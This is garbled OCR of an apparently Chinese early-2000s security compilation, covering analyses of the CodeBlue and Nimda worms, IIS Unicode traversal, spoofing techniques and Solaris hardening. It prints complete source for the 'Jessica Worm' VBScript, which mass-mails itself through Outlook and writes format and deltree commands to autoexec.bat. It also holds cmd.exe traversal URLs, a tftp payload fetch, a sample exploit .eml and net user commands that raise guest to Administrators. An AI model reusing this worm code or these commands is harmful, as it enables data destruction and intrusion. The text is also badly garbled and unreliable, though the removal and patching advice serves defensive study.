NET_API_STATUS NetUserEnum LPCWSTR
servername DWORD level DWORD filter LPBYTE bufptr DWORD prefmaxlen
LPDWORD entriesread LPDWORD totalentries LPDWORD resume_handle

LPCWSTR servername LPCWSTR Unicode

MultiByteToWideChar ~ UINT CodePage DWORD dwFlags LPCSTR IpMultiByteStr
int coMultiByte LPWSTR IpWideCharStr  int cchWideChar
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DWORD level
MSDN 1
4 23 4 23
windows 2000 Windows XP
level O
A ;'.:-:_“\-"-.-_- {
-\_.:'.rl:ﬂ}_‘_’:\_llls-ti-'-“::f‘ -] *""'k.
] . eSO, - -

, sl wianggean BT B RS & d
%

T Win 2000 F RS ERR2 o §
e P 2
test
NN tedt” o test123” Y tT Y 1237
X Scan
NetUserEnum
http //BigBall.xici.net
1
0 USER_INFO 0
ipc
1 Return detailed information about user accounts. The bufptr parameter points to an
array of USER_INFO_1 structures.
2 Return level one information and additional attributes about user accounts. The
bufptr parameter pointsto an array of USER_INFO_2 structures.
3 Return level two information and additional attributes about user accounts. This

level is valid only on Windows NT/Windows 2000 servers. The bufptr parameter
points to an array of USER_INFO_3 structures. Note that on Whistler and later it
is recommended that you use USER_INFO_4 instead.

4 Whistler Return level two information and additional attributes about user
accounts. This level is valid only on Windows NT/Windows 2000 servers. The
bufptr parameter points to an array of USER_INFO_4 structures.

10 Return user and account names and comments. The bufptr parameter points to an
array of USER_INFO_10 structures.

11 Return detailed information about user accounts. The bufptr parameter points to an
array of USER_INFO_11 structures.

20 Return the user's name and identifier and various account attributes. The bufptr

parameter points to an array of USER_INFO_20 structures. Note that on Whistler
and later it isrecommended that you use USER_INFO_23 instead.

23 Whistler  Return the user's name and identifier and various account attributes. The
bufptr parameter points to an array of USER_INFO_23 structures.
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1

svchost.exe

httpext.dl

—~

1B I UNICODESE = ik S 50 i i
Ehttpest. dI1E 2 Bz E

=

i IISE4Tht tpext. dl1,
E—F?’:_’% svchost. exe.

HetE
fﬂtnfilr

'{I‘T
|

FC: T d vbs, B BAT

FiFinetinfo. exeiiE

IS UNICODE
httpext.dll svchost.exe
httpext.dl

B 100 SR HAT I

tftp

WSA Startup

tftp
UNICODE
tftp
__beginthread sub_4011A1

tftp

I tftpff o 2t iz, %

cihsvchost. exeli

UbP

Winsock DLL
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text
text
text
text

text
text
text
text
text
text
text

CreateFileA

004011AF
004011B0
004011B5
004011B7
004011B8
004011BA
004011BF
004011C5
004011C8
004011CC
004011D0
004011D2

00401204
00401207
00401208
00401209
0040120C
0040120E
0040120F
00401212
00401214
00401215
00401216

socket bind
0040122B
0040122D
0040122F
00401231

recvfrom
httpext.dl

004012C0
004012C3
004012C4
004012C7
004012C8
004012C9
004012CF

C \httpext.dil
push edi hTemplateFile
push 80h dwFlagsAndAttributes
push 3 dwCreationDisposition
push edi |pSecurityAttributes
push 1 dwShareMode
push 80000000h dwDesiredAccess
push IpFileName IpFileName
mov ebp var 10 edi
mov ebp var 9 1
mov ebp var 1 4
xor es es
call ds CreateFileA C \httpext.dll
lea eax ebp NumberOfBytesRead
push edi IpOverlapped
push eax IpNumberOf BytesRead
mov eax ebp var 14
sub eax €S
push eax nNumberOfBytesToRead
mov eax ebp var 1C
add eax €S
push eax IpBuffer
push ebx hFile
call ds ReadFile C \httpext.dil
UDP 69 tftp
push 11h protocol
push 2 type
push 2 af
cal ds  socket
69 UDP
512
lea eax ebp tolen
push eax fromlen
lea eax ebp to
push eax from
push edi flags
lea eax ebp buf
push 400h len
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text 004012D4 push eax buf
text  004012D5 push esi s
text  004012D6 cal ds recvfrom
tftp tftp httpext.dll
tftp
tftp httpext.dl
2
CodeBlue d.vbs inetinfo.exe IS
Global AddAtomA “ CodeBlue”
text  0040113C push esi
text  0040113D push edi
text  0040113E push offset aCodeblue IpString
text 00401143 call ds GlobalAddAtomA

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RU
N Domain Manager C \svchost.exe
C \svchost.exe

text 00401430 lea eax ebp dwDisposition

text 00401433 push edi

text 00401434 push eax IpdwDisposition
text 00401435 lea eax ebp hKey

text 00401438 xor edi edi

text  0040143A push eax phkResult

text  0040143B push edi |pSecurityAttributes
text  0040143C push OF003Fh samDesired

text 00401441 push edi dwOptions

text 00401442 push edi IpClass

text 00401443 push edi Reserved

text 00401444 push offset aSoftwareMicros IpSubK ey

text 00401449 push 80000002h hK ey

text  0040144E mov ebp dwDisposition 2

text 00401455 call ds RegCreateKeyExA

text 0040145B mov es offset aCSvchost_exe "C
\\svchost.exe"

text 00401460 push esi

text 00401461 call _strlen

text 00401466 pop ecx
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text 00401467 push eax cbData
text 00401468 push esi IpData
text 00401469 push 1 dwType
text  0040146B push edi Reserved
text  0040146C push offset aDomainM anager IpValueName
text 00401471 push ebp hKey hKey
text 00401474 call ds RegSetValueExA
text  0040147A push ebp hKey hKey
text  0040147D call ds RegCloseKey
Cc \ svchost.exe  httpext.dil
text 00401483 push 6 dwFileAttributes
text 00401485 push esi IpFileName
text 00401486 mov es ds SetFileAttributesA
text  0040148C call €S SetFileAttributesA
text  0040148E push 6 dwFileAttributes
text 00401490 push IpFileName IpFileName
text 00401496 call es SetFileAttributesA
text 00401498 push 6 dwFileAttributes
text  0040149A push offset aClnetpubScript IpFileName
text  0040149F call €si SetFileAttributesA
C d.vbs
d.vbs VBScript

DimWebService vList item vFound vSubDan Danger vNewCount FoundString
Function FindMapper Strl  Str2

FindMapper=false

IfInStr  Str2 Strl <>0Then

FoundString=FoundString "Found" Sri " " Chr 13 Chr 10
FindM apper=true

End If

End Function

Function DelMapper  WebService

Danger=Array ".ida' ".idg" "“.printer"

vNewCount=0

vList=WebService.GetEx "ScriptMaps"

For EachiteminvList

vFound=false

For Each vSubDan in Danger
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If FindMapper vSubDan item =true Then
vFound=true
Exit For
End If
Next
If vFound=false Then
vNewCount=vNewCount 1
ReDim Preserve vNew  vNewCount
vNew vNewCount 1 =item
End if
Next
WebService PutEx 2  "ScriptMaps' vNew
WebService.SetInfo
End Function
Set WebService=GetObject "IIS //LocaHost/W3SVC"
DelMapper  WebService
Set WebService=GetObject "IIS //LocaHost/W3SVC/1"
DelMapper  WebService
Set WebService=GetObject "IIS //LocaHost/W3SV C/1/Root"
DelMapper  WebService
WebService ScriptMaps s
IIS .ida .idq .printer “ ”
“ " idg “ ”
GetVersionExA
4 inetinfo.exe
text  0040168B push ebp dwProcessid dwProcessld
text  0040168E push edi blnheritHandle
text  0040168F push 1FOFFFh dwDesiredAccess
text 00401694 call ds  OpenProcess inetinfo.exe
text  0040169A mov ebp var 24 eax
text  0040169D cmp eax  edi
text  0040169F jz short loc_4016B0
text 004016A1 push esi uExitCode
text  004016A2 push eax hProcess
text  004016A3 call ds TerminateProcess
3
100
gethostbyname IP
text 00401928 lea eax ebp name
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text  0040192E
text 00401933
text 00401934
text  0040193A
text 00401940
text 00401941
GetSystemTime
text  004019CE
text  004019D4
text  004019D5
text  004019DB
text  004019E2
text  004019E5
text  004019E7
text  004019EE
text  004019F1
text  004019F3

1

4
IP 50

"n”
IP

“ HEAD /HTTP/1.0”

s
scripts
msadc
iisadmin

_vii_bin

10

push 100h namelen
push eax name
call ds gethostname
lea eax ebp name
push eax name
call ds  gethostbyname IP
lea eax ebp SystemTime
push eax IpSystemTime
cal ds GetSystemTime
movzx  eax ebp SystemTime.wHour

cmp eax OAh

jle short loc_4019F8

movzx  eax ebp SystemTime.wHour
cmp eax  0Bh

jge short loc_4019F8

call sub_401820 10
1
IP 2 Ox7E 127 IP
50 B
IP 80
13 I I S‘”
IP
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iissamples
iishelp
webpub

UNICODE

255¢

cl 1c

c0 2f

c0 af

cl 9c
35 63
35¢

25 35 63

252f

UNICODE

GET/ /.. . . . . Jwinnt/system32/cmd.exe /¢ dir
scripts 255¢

GET /scripts/..  255c.. 255c.. 255c.. 255c.. 255c../winnt/system32/cmd.exe /¢ dir

dir
“ 200 OK”
“ 200 OK”
IP IP
UNICODE
tftp i IP get httpext.dll c \ httpext.dll
tftp tftp

tftp C \httpext.dll

UNICODE copy httpext.dil ¢\

httpext.dl c \

“ GET / /httpext.dIl”

httpext.dll “ CodeBlue”
IP

4  httpext.dil

httpext.dl svchost.exe s s
ISAPI IUSR_NAME httpext.dll ISAPI SYSTEM

httpext.dll svchost.exe httpext.dll
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httpext.dl svchost.exe c \ svchost.exe
“ CodeBlue’
httpext.dll IS ISAPI
SYSTEM
5
text 00401842 mov wordptr  esp 10h 2
text 00401849 push offset 211 99 196 135 cp
text  0040184E call ds inet_addr
IP 211.99.196.135 socket
80
text 00401867 push edi protocol
text 00401868 push 1 type
text  0040186A push af
text  0040186C call ds  socket
text 00401898 lea eax esp 28h name
text  0040189C push 10h namelen
text  0040189E push eax name
text  0040189F push es S
text  004018A0 call ds connect
“ GET /main.php "~ 0x4800 A
text 00401820 mov eax  4810h
text 00401825 call __dloca probe
text  0040182A push ebx
text  0040182B push ebp
text  0040182C push es
text  0040182D push edi
text  0040182E push 4800h
text 00401833 lea eax esp 14h ag C
text 00401837 push 41h ‘A
text 00401839 push eax
text  0040183A call _memset 0x4800
X
text  004018C5 push OEh len
text  004018C7 push offset aGetMain_php “ GET /main.php
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text  004018CC push esi s
text  004018CD call edi send
text  004018CF push 0 flags
text 004018D1 lea eax esp 4Ch buf
text  004018D5 push 4800h len
text  004018DA push eax buf
text 004018DB push es s
text  004018DC cal edi send 0x4800 ‘A
text 004018DE push 0 flags
text 004018E0 push offset aHttpl 1Acceptl
text  004018F1 push es S
text  004018F2 cal edi send
0x1388
D.o.S
50
UDP

ez i s RS

_ Windows
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fisno
113 ” “ ” 113 ” Wi ndOWS
Wi ndOWS {3 ” 113 ”
s Windows 2000 Windows NT “ "
Windows 2000  Windows NT
Windows 95/98/Me
“ 7 113 I I ” " ” 113 ” 4
113 ” 4
I
Windows Windows 2000 Windows Windows 95/98/Me
2000 2000/NT Windows 2000/NT
Windows XP
1 5
4
1. IE MIME
IE IE MIME “ Content
Type ” IE

“ test.eml”

From "XXXXX"
Subject  mail

Date Thu 2Nov200013 27 33 0100

MIME Version 1.0

Content Type  multipart/related
type="multipart/alternative"
boundary="1"

X Priority 3

X MSMail Priority  Norma
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X Unsent 1
1

Content Type

boundary="2"

multipart/alternative

2
Content Type  text/html
charset="iso 8859 1"
Content Transfer Encoding
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D ffffff>
<iframe src=3Dcid

guoted

HELLO MY FRIEND <BR>
</BODY>
</HTML>
2
1
Content Type audio/x wav
name="hello.bat"
Content Transfer Encoding  quoted printable
Content ID <THE CID>
echo OFF
dir .
1
p—
Outlook/Outlook Express "test.eml” HTML
Outlook/Outlook Express IE IE MIME
IE “ Content Type  audio/lx wav "~
“ hello.bat” “ hello.bat”
“dir . WEB
eml http  //wormhost/test.eml “ hello.bat”
IE eml nws “ test.eml” “ test.nws’
IE eml
eml nws IE
EXE EXE
base64 eml
EXE
eml readme.eml

printable

THE CID height=3D0 width=3D0></iframe>
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Outlook  Outlook Express
FoxMail
readme.eml

javascript IE

IE5.0 IE5.01 IE5.5
2. Microsoft 11S Unicode
[1IS4.0 11S5.0 Unicode
IS s unicode
s web

URL dir
http  /lwww.victim.com/scripts/.. ¢l 1c./winnt/system32/cmd.exe /c dir

3. Microsoft 11S
Unicode s Cal
Cal http
".exe' ".com” IS
Cal s Cal Cal
Cal
Cal s e
"
URL dir

http  //lwww.victim.com/scripts/.. 255c../.. 255c../.. 255c../winnt/system32/cmd.exe /c
dir

“ 8 Unicode
4. Microsoft 11S5.0
Unicode “ 8
Microsoft I1S 5.0
1S 5.0 DLL
s
IS SYSTEM
“ 8 Unicode
Admin.dll web Admin.dil IS
“ i "Nimda"
“ " Nimda Admin “ ”
Admin.dil Nimda
Admin

“ K E malil IS “
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” .exe Word
1
Windows 95/98/Me E mail
“ " Sircam
13 ” IE
MIME
MIME MIME
"text/html" MIME "audio/x
wav" "readme.exe’ base64
“ IE MIME 8 x86
IE 5.5 SP1 IE 5.01 SP2 HTML
Internet
htm  html
“ ” Windows
10
2 Is
“ " email IP
IIS  Windows
13 ” IP IP 13
" IP 50 IP B 25
IP A 25 IP
“ ” tftp udp/69
tftp " ”
tftp IP “ ” IP
13 I I ” 13 I I ” Wm
root.exe “ 8 “ [scripts/root.exe”
GET /scripts/root.exe  /c  tftp i locaip GET Admin.dll HTTP/1.0
localip IP tftp Admin.dll
Admin.dil DLL
s
Admin.dll GET /scripts/Admin.dll HTTP/1.0

[scripts/root.exe “ "n”
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“ ! Unicode
/scripts/root.exe
tftp Admin.dll
Admin.dll ISAPI Windows mmc.exe
“ mmc.exe  quserySbnow” s
3.
WWW “ ” WWWwW
Admin.dll mmc.exe
HTML .ASP .HTM DEFAULT INDEX MAIN README
README.EML
MIME
JavaScript
<script language="JavaScript">
window.open "readme.eml"  null "resizable=no  top=6000 |eft=6000"
README.EML IE MIME
4 exe
13 ” eXe
exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths

“ ”

exe exe exe
exe
exe “ ” exe winzip32.exe
WinZip
5. Word
exe “ " Word
Windows riched20.dll
doc riched20.dl
Windows Word doc
riched20.dll
.eml
MIME .eml
“ 8 Windows\System load.exe
SYSTEM.INI Shell
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Shell = explorer.exeload.exe  dontrunold

Windows
riched20.dll. word
readme.exe Windows

explorer explorer

readme.exe  mmc.exe explorer
text  36174AB9 pushoffset aCreateremoteth CreateRemoteThread
text  36174ABE pushhModule hModule
text 36174AC4 cdles GetProcAddress

GetProcAddress CreateRemoteThread AP

text  36171E03 pushesi dwProcessid

text  36171E04 pushebx blnheritHandle

text  36171E05 pushlFOFFFh dwDesiredAccess
text 36171EO0A callds  OpenProcess

text  36171E10 mov edi eax

text  36171E12 cmp edi ebx

text 36171El14jz loc_36171EFE

OpenProcess explorer.exe edi
dwDesiredAccess  Ox1FOFFF

PROCESS CREATE_THREAD | PROCESS VM _ OPERATION | PROCESS VM_WRITE
text  36171E1A push8000h

text  36171E1F pushebx

text  36171E20 pushdword 3617ACAC

text  36171E26 pushedi

text  36171E27 calldword 3617D5D8 Virtual FreeEx

Virtual FreeEx explorer.exe

text 36171E2D mov eax  dword 3617ACAC

text  36171E32 push40h
text  36171E34 push3000h
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text
text
text
text
text
text
text
text
text

text
text
text
text
text
text
text

text
text
text
text
text
text
text

text
text
text
text
text
text
text
text
text

36171E39 mov ecx eax 3Ch

36171E3C mov ecx ecx eax 50h

36171E40 pushecx

36171E41 pusheax

36171E42 pushedi

36171E43 calldword_3617D5DC Virtual QueryEx
36171E49 cmpeax  ebx

36171E4AB mov  ebp var 4 eax

36171E4E jz loc_36171EFE

Virtual QueryEx explorer.exe
Virtual FreeEx explorer.exe
36171E84 lea eax ebp var 30
36171E87 pusheax fIProtect
36171E88 push40h flAllocationType
36171E8A pushesi dwSize
36171E8B pushebx IpAddress
36171E8C pushedi hProcess
36171E8D calldword 3617D5D0 Virtual AllocEx
Virtual AllocEx
36171E93 lea eax ebp NumberOfBytesWritten

36171E96 pusheax IpNumberOf BytesWritten
36171E97 pushesi nSize

36171E98 pushebx IpBuffer

36171E99 pushebx IpBaseAddress
36171E9A pushedi hProcess

36171E9B callds  WriteProcessMemory

WriteProcessM emory
explorer

36171EC9 lea eax ebp var 10

36171ECC pusheax

36171ECD pushebx

36171ECE pushdword_3617ACAC

36171ED4 pushoffset sub_36171F05

36171ED9 pushebx

36171EDA pushebx

36171EDB pushedi

36171EDC calldword 3617D5EOQ CreateRemoteThread

explorer

explorer
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CreateRemoteT hread

explorer

explorer.exe

“ I IH “ ”

HK L M\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ C >7

HKLM\SY STEM\CurrentControl Set\Services\lanmanserver\Shares\Security

HK L M\Software\Mi crosoft\Windows\CurrentVersi on\Expl orer\Advanced

Hidden ShowSuperHidden  HideFileExt

113 ” Guﬂ
Windows NT/2000/XP

net user guest /add

net user guest /active

net user guest ""

net localgroup Administrators guest
net localgroup Guests guest /add

Internet Explorer 5.01 Service Pack 2
http
Internet Explorer 5.5 Service Pack 2
http
Internet Explorer 6
http

Administrators

IE6.0 IE

/Iwww.mi crosoft.com/windows/ie/downl oads'recommended/ie501sp2/default.asp

/Iwww.mi crosoft.com/windows/ie/downl oads'recommended/ie55sp2/default.asp

/Iwww.mi crosoft.com/windows/ie/downl oads/ie6/default.asp
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s Windows 1S

Windows NT 4 s
http  //www.microsoft.com/Downloads/Release.asp  Releasel D=32061
Windows 2000 s
http  //www.microsoft.com/Downloads/Release.asp  Releasel D=32011

“ ”

1 mmc.exe load.exe riched20.dll admin.dll readme.eml readme.exe

2. riched20.dl windows

Win98 Win98 35.CAB riched20.dll system

Win98se Win98 41.CAB

Win2000 system32\dlIcache system32

3. “  fsdhgherwqi2001 " .exe dil

“ Kz29vb29oWsrLPhdeisrPb09 Pb2” .eml .nws

4, default index man readme htm html asp
JavaScript

5. Windows 95/98/ME C \windows\system.ini

Shell = explorer.exeload.exe  dontrunold

Shell = explorer.exe

6. “ I root.exe

7. Guest Guest Administrators Windows NT/2000
8. Windows 95/98/ME Windows
NT/2000

9.
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BHrJessica Worm
W B

DfArTisT
txt  html
/
163
root@163.net 163
163
Table.htm.vbs VBS

Visual Baisc Script

JessicaWorm
On Error Resume Next '
dimfilesys sysdir windir file vbscp
Set filesys=CreateObject  "Scripting. FileSystemObject"
set file = filesys.OpenTextFile  WScript. ScriptFullname 1
vbscp=file.ReadAll '
main '
sub main
On Error Resume Next
dimtimeover er sm imme addadd address c
set timeover=CreateObject "W Script.Shell"
err=timeover.RegRead "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout"
if er>=1 then'

timeover.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout” 0 "REG_DWORD"
end if

set sm=CreateObject "WScript.Shell"
imme=sm.RegRead = "HKEY_USERS\.DEFAULT\Identitiess = C5D5F200 CO7E 11D1
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90A0 A3F032AC2F46 \Software\Microsoft\Outlook  Express\5.0\Mail\Send Mail
Immediately"
if imme>=0  then' OE “ "

sm.RegWrite "HKEY_USERS\.DEFAULT\Identities\ = C5D5F200 CO7E 11D1 90A0

A3F032AC2F46 \Software\Microsoft\Outlook Express\5.0\Mail

\Send Mail Immediately” 1 "REG_DWORD"

end if

set addadd=CreateObject "W Script.Shell"

addresssaddadd.RegRead  "HKEY_USERS\.DEFAULT\Identitiess C5D5F200 CO7E 11D1
90A0 AS3F032AC2F46 \Softwaré\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies

To WAB"

if address>=0  then' OE “ ”

addadd.RegWrite "HKEY_USERS\.DEFAULT\Identitiess C5D5F200 CO7E 11D1 90A0

A3F032AC2F46 \Software\Microsoft\Outlook Express\5.0\Mail

\Auto Add RepliesToWAB" 1 "REG_DWORD"

end if

Set windir = filesys.GetSpeciaFolder 0 ' Windows
Set sysdir = filesys.GetSpecialFolder 1 System
Set c =filesys.GetFile  WScript.ScriptFullName

c.Copy sysdir "\Kernel32.vbs' ' System
c.Copy windir "\Rundll32.vbs' Windows
c.Copy sysdir "\Tablehtmvbs' ' System

regload '

mailworm

killc

aldrivers

end sub

sub killc

On Error Resume Next

dimfs auto disc ds ss i x dir

Set fs = CreateObject " Scripting.FileSystemObject”

Set auto = fs.CreateTextFile "c \Autoexec.bat" True
auto.WriteLine "@echo off" '

auto.WriteLine  "Smartdrv"

Set disc = fs.Drives'

For Each dsindisc

If ds.DriveType=2Then'

SS=SS ds.DrivelL etter '

End if

Next

ss=LCase StrReverse Trim  ss

Fori=1toLen ss

x=Mid ss i 1

auto.WriteLine "format/autotest/q/u" x " " Z A
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next

Fori=ltoLen ss

x=Mid ss i 1

auto.WriteLine "deltreely" x " " ' Format Deltree
next

auto.Close'

set dir=fs.GetFile "c \Autoexec.bat"
dir.attributes=dir.attributes 2"

End sub

sub regload

On Error Resume Next

regcreate "HKEY _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Run\Explorer" sysdir "\Kernel32.vbs'' HKLM Run
regcreate "HKEY CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Run\Explorer" windir "\Rundll32.vbs'' HKCU Run
end sub

sub aldrivers

On Error Resume Next

Dimd dc s

Set dc = filesys.Drives'

For Eachdindc'

If d.DriveType = 2 or d.DriveType=3 Then'

folderlist d.path "\" ' C Cc \
end if

Next

listadriv=s"'

end sub

sub infectfiles  folderspec

On Error Resume Next

dmf fl1 fc ext ap cop s docu

set f =filesys.GetFolder  folderspec

set fc =f.Files'

foreachflinfc'

ext=filesys.GetExtensionName  fl.path

ext=lcase ext

s=lcase  fl.name

if ext="vbs' then' vbs

set ap=filesys.OpenTextFile fl.path 2 true

ap.write vbscp '

ap.close'

eseif ext="doc" or ext="xIs" or ext="zip" or ext="mp3" then
fl.attributes=0" doc xIs zip mp3

set docu=filesys.OpenTextFile fl.path 2 true
docu.write vbscp '
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docu.close'’

filesys.deletefile f1.path true'
end if

next

end sub

sub folderlist  folderspec

On Error Resume Next

dmf fl1 ¢f

set f =filesys.GetFolder  folderspec
set f = f.SubFolders'

for each f1in sf

infectfiles  fl.path

folderlist  fl.path

next

end sub

subregcreate  regkey regvalue
Set regedit = CreateObject  "WScript.Shell"
regedit.RegWrite regkey  regvalue
end sub

functionregget  value

Set regedit = CreateObject  "WScript.Shell"
regget=regedit.RegRead  value
end function

function fileexist  filespec

On Error Resume Next

dim msg

if filesysFileExists filespec Then'

msg=0

else

msg=1

end if

fileexist = msg

end function

function folderexist ~ folderspec
dim msg

if filesys.GetFolderExists  folderspec
msg=0

else

msg=1

end if

fileexist = msg

end function

sub mailworm

On Error Resume Next

then'



2001

dimx a ctrlists ctrentries malead b regedit regv regad

set regedit=CreateObject  "WScript.Shell”

set out=WScript.CreateObject  "Outlook.Application” ' Outlook
set mapi=out.GetNameSpace "MAPI"

for ctrlists=1 to mapi.AddressLists.Count '

set a=mapi. AddressLists  ctrlists

x=1

regv=regedit.RegRead "HKEY_CURRENT_USER\Softwaré\Microsoft\WAB\" a
if  regv=""  then

regv=1

end if

if int aAddressEntries.Count >int regv then

for ctrentries=1 to a. AddressEntries.Count '

malead=a.AddressEntries X

regad=regedit.RegRead "HKEY_CURRENT_ USER\Software\Microsoft\WAB\" malead
if  regad="" then

set male=out.Createltem 0

male.Recipients. Add  malead

male.Subject = "163

male.Body = vbcrlf " 163

163 100 100M

male. Attachments. Add  sysdir "\Table.htm.vbs"

male.Send '

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" mal ead 1
"REG_DWORD"

end if

x=x 1

next

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" a
a.AddressEntries.Count

else

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" a
a.AddressEntries.Count

end if

next

Set out=Nothing ' out

Set mapi=Nothing " mapi

end sub

rem JessicaWorm'

rem | dedicateit to my angel Jessica

' End
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Kv3000 Norton AntiVirus
Norton
Norton Norton
Jessica Worm VBScript
VB Script Windows Script Host Windows Script Host
VBS JS Windows Script Host
WSH VBScript
JScript VBS
Windows98 NT4.0 “ ” “ ”
13 Wi ndOWS ” 13 ”
13 Wi ndOWS &ri pti ng Hogﬂ 1] ” 13 ” 13 ”
Windows Scripting Host
1. 13 ” N 13 ” N 13 ” 13 ”
VBS VBE JS JSE
2. Windows WScript.exe  JScript.exe
1. V Bscript
.vbs
Set so=CreateObject  "Scripting. FileSystemObject"
s0.GetFile ¢ \windows\winipcfg.exe .Copy "e \winipcfg.exe"
¢ \windows\winipcfg.exe
GetFile Copy e
V Bscript
“ FileSystemObject” “ FileSystemObject” VBS
2. regsvr32 scrrun.dll /u regsvr32
Windows\system regsvr32.exe
1 Outlook
13 / ” OE
E mail
E mall
1 Outlook

S ” 1 XX
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2 OQutlook 2000

CTRL C CTRL V

Windows “
Windows98

Windows
“ SHS

JAVA ActiveX
” 113 I nterna”
5. Outlook

Java

” “ I nternetu

ActiveX
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/GNn

ARP

ARP
ARP
hostname ip hw

A 192.168.10.1 MAC_A

B 192.168.10.2 MAC B

C 192.168.10.3 MAC C

A root C
C B B “ ” C
—send arp.c
ARP ARP
ap
MAC
ARP A arp “ ifconfig
eth0 arp” ARP C B MAC_A
ARP 192.168.10.2 MAC_A 10.0.0.3
MAC C C B MAC_A C
40
ARP ARP
W.Richard.Stevens  tcplip ARP

Linux ARP
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C ARP
C
B
ifconfig eth0O 1 10.0.0.2 B IP
ARP ifconfigethOarp —— ARP ARP
C C ARP
ARP OK send_arp ap
C B C B ARP
C
static arp
dynamic
internet arp
dynamic ap ARP
ap man_in_the middle send_arp.c
. .
Loading ...
P et
Klblangrasn,
e R T ot ’ i
ap
ICMP
ARP —ICMP
ICMP
ICMP IP icmp_redir.c
RFC
vanillaLinux 2.0.30
ICMP DoS ARP
ICMP
icmp
DNS DNS
IP
www.target.com P  111.111.111.111
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linux P 111.111.111.112 DNS  dns.stupid.com
ok DNS >dns.stupid.com www.target.com IP linux
111.111.111.112 linux Jredir |port=80
caddr=111.111.111.111 port=80 DNS www.target.com
111.111.111. 111 linux sniffit
IP DNS server
IP
IP
1. Z A A B [etc/hosts.equiv HOME/.rhosts
A B
2. z B B
SYN flood IP

A

listen 5 initsockid
initsockid 5 initsockid TCP
accept TCP
5 initsockid 5 SYN flood
Denial of Service B
3Z A ISN 25 SMTP 1
A ISN Z A RTT  round trip time
RTT Z A ISN
128000 64000 Z A RTT/2
A ISN 64000
4Z A SYN IP B TCP513
rlogin A B SYN ACK B B TCP
A
5.Z A SYN ACK Z Z
B A ACK Z A ISN 1
A B Z
A B Z rlogin B A
“A >>  [rhosts’ A
RST Z
Z B SYN >A
B< SYN ACKA
Z B ACK >A
Z B PSH >A

ISN Linux R
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Solaris
suid
SS20
ps «f
root 0 0 017 06 38 0 0lsched
root 1 0 017 06 41 0 00 /etc/init
root 2 0 017 06 41 0 00 pageout
root 3 0 017 06 41 0 17fsflush
root 200 1 017 07 37 0 00/usr/lib/saf/sac t 300
root 203 200 017 07 37 0 00 /usr/lib/saf/ttymon
root 45 1 017 06 53 0 00 /usr/lib/devfsadm/devfseventd
root 49 1 017 07 o4 0 00 /usr/lib/devfsadm/devfsadmd
root 201 1 017 07 37console 0O 00 sh
root 184 1 017 07 36 0 00 /usr/shin/nscd
root 168 1 017 07 35 0 00 /usr/sbin/syslogd
root 190 1 017 07 36 0 00 /ust/lib/utmpd
root 171 1 017 07 35 0 00 /usr/shin/cron

root 841 839 019 07 O03console O O00ps ef  netstaa an
UDP  IPv4

Local Address Remote Address State

514 Idle

. Unbound

TCP IPv4
Local Address Remote Address SwindSend QRwindRecv Q State
0 024576 0IDLE
0 024576 O0IDLE
TITAN
Solaris
Casper Dik  Solaris 2 FAQ fix modes

TITAN

Brad Powell Matt Archibald Dan Farmer
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titan titan Titan Config
suid
Solaris
ACL BSM
titan BSM BSM LOG
log
bsm.sh
titan c
lusr/ucb
BSD chown SUNWSscpu
BSD chown
/bin/sh
chown echo 1|sed's\/ /g 2
titan BSD chown BSD
BSD chown —— .versus
titan TCP/IIP
BSM
ACL'ing suid
titan suid
ROOT suid guid suid  guid
sshd pt_chmod

rss xr x 1lroot bin 14692 Sep 16 14 05 /usr/lib/fs/ufs/quota

rws X x  lroot staff 4436 Sep 16 14 03 /ust/lib/pt_chmod

rss xr x 1lroot bin 7528 Sep 16 14 07 /usr/lib/utmp_update

rss xr x 2lroot sys 28472 Sep 16 14 03 /ust/bin/sparcv7/ps

rsr xr x 2root bin 11976 Sep 16 14 07 /usr/bin/sparcv7/uptime

rsr xr x 2root bin 11976 Sep 16 14 07 /usr/bin/sparcv7/w

rwsr x 1root staff 17932 Sep 16 13 58 /usr/bin/crontab

rwsr X 1root staff 14600 Sep 16 14 08 /usr/bin/gject

rss xr x 1lroot bin 30596 Sep 16 14 00 /usr/bin/login

rwsr xr x  2root staff 104580 Sep 16 14 02 /usr/bin/passwd

ross xr x 1lroot bin 6968 Sep 16 14 02 /usr/bin/pfexec

rwsr X 1root staff 16992 Sep 16 14 05 /usr/bin/rlogin

rwsr X 1root staff 9536 Sep 16 14 05 /usr/bin/rsh

rwsr X 1root staff 18172 Sep 16 14 05 /usr/bin/su

rwsr xr x  2root staff 104580 Sep 16 14 02 /usr/bin/yppasswd
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rss xr x 2lroot bin 13556 Sep 16 14 07 /usr/sbin/sparcv7/whodo
rwsr X 3 root staff 18628 Sep 16 14 09 /usr/shin/allocate
rwsr X 1root staff 48180 Sep 16 13 57 Jusr/shin/ping
rwsr X 1root staff 23564 Sep 16 14 04 /usr/shin/sacadm
rss xr x 2lroot bin 36888 Sep 16 13 57 /usr/shin/traceroute
rwsr X 3 root staff 18628 Sep 16 14 09 /usr/shin/deallocate
rwsr X 3 root staff 18628 Sep 16 14 09 /usr/shin/list_devices
rws X x 1 gmailg gmall 19752 Jan 12 01 10 /var/gmail/bin/gmail
queue
rws X x  lroot other 2052296 Jan 701 23 /opt/local/bin/sshl
suid su utmp_update ps w pt_chmod
ACL su ps w “ "
getfacl su
file su
owner  root
group  sys
user r x
group X effective X
mask
other X
setfacl  muser  admin X other
getfacl su
file su
owner  root
group  sys
user r x
user admin X effective X
group X effective X
mask X
other
ps w ACL's.
rws X x  lroot staff 4436 Sep 16 14 03 /ust/lib/pt_chmod
rss xr x 1lroot bin 7528 Sep 16 14 07 /usr/lib/utmp_update
r sr 1root Sys 28472 Sep 16 14 03 /usr/bin/sparcv7/ps
rsr 2 root bin 11976 Sep 16 14 07 /usr/bin/sparcv7/uptime
rsr 2 root bin 11976 Sep 16 14 07 /usr/bin/sparcv7/w
rws X 1root staff 18172 Sep 16 14 05 /usr/bin/su
